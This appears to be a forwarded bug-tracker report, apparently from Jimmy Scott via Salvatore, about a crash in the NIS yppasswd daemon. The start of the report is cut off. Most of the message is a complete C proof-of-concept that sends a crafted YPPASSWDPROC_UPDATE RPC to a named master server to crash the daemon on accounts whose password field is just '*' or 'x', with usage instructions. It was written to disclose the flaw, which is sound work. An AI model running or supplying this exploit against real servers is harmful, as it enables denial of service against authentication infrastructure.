I'm forwarding this on behalf of Jimm Scott to the BTS:
with just an * or x in the second field).
Code below can be used to poke these accounts and make it crash.
Usage: just try to update the password on such an account.
Kind regards,
Jimmy Scott
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <rpc/rpc.h>
#include <rpcsvc/ypclnt.h>
/* XXX BEGIN - FROM YPPASSWD.H */
struct xpasswd {
char *pw_name;
char *pw_passwd;
int pw_uid;
int pw_gid;
char *pw_gecos;
char *pw_dir;
char *pw_shell;
};
typedef struct xpasswd xpasswd;
struct yppasswd {
char *oldpass;
xpasswd newpw;
};
typedef struct yppasswd yppasswd;
#define YPPASSWDPROG ((u_long)100009)
#define YPPASSWDVERS ((u_long)1)
#define YPPASSWDPROC_UPDATE ((u_long)1)
//extern bool_t xdr_xpasswd (XDR *, xpasswd*);
//extern bool_t xdr_yppasswd (XDR *, yppasswd*);
/* XXX END - FROM YPPASSWD.H */
/* XXX BEGIN - FROM YPPASSWD_XDR.C */
static bool_t
xdr_passwd (XDR *xdrs, xpasswd *objp)
{
if (!xdr_string (xdrs, &objp->pw_name, ~0))
return FALSE;
if (!xdr_string (xdrs, &objp->pw_passwd, ~0))
return FALSE;
if (!xdr_int (xdrs, &objp->pw_uid))
return FALSE;
if (!xdr_int (xdrs, &objp->pw_gid))
return FALSE;
if (!xdr_string (xdrs, &objp->pw_gecos, ~0))
return FALSE;
if (!xdr_string (xdrs, &objp->pw_dir, ~0))
return FALSE;
if (!xdr_string (xdrs, &objp->pw_shell, ~0))
return FALSE;
return TRUE;
}
bool_t
xdr_yppasswd (XDR *xdrs, yppasswd *objp)
{
if (!xdr_string (xdrs, &objp->oldpass, ~0))
return FALSE;
if (!xdr_passwd (xdrs, &objp->newpw))
return FALSE;
return TRUE;
}
/* XXX END - FROM YPPASSWD_XDR.C */
void usage(char *prog) {
printf(
"usage: %s <master> <oldpw> <user> <newpw> <uid> "
"<gid> <gecos> <dir> <shell>\n", prog
);
exit(1);
}
int main(int argc, char **argv) {
int status;
char *master;
struct yppasswd yppwd;
struct timeval TIMEOUT = {0, 0};
CLIENT *clnt;
// Setup prog
if (argc != 10) usage(argv[0]);
master = argv[1];
// Setup RPC client
printf("Setup RPC...\n");
clnt = clnt_create (master, YPPASSWDPROG, YPPASSWDVERS, "udp");
clnt->cl_auth = authunix_create_default ();
// Prepare YPPASSWD call
printf("Setup YPPASSWD...\n");
memset (&yppwd, '\0', sizeof (yppwd));
memset ((char *) &status, '\0', sizeof (status));
yppwd.oldpass = argv[2];
yppwd.newpw.pw_name = argv[3];
yppwd.newpw.pw_passwd = argv[4];
yppwd.newpw.pw_uid = atoi(argv[5]);
yppwd.newpw.pw_gid = atoi(argv[6]);
yppwd.newpw.pw_gecos = argv[7];
yppwd.newpw.pw_dir = argv[8];
yppwd.newpw.pw_shell = argv[9];
// Fire in the hole!!
printf("Sending packet...\n");
clnt_call (clnt, YPPASSWDPROC_UPDATE,
(xdrproc_t) xdr_yppasswd, (char *) &yppwd,
(xdrproc_t) xdr_int, (char *) &status, TIMEOUT);
}
----cut---------cut---------cut---------cut---------cut---------cut-----
Regards,
Salvatore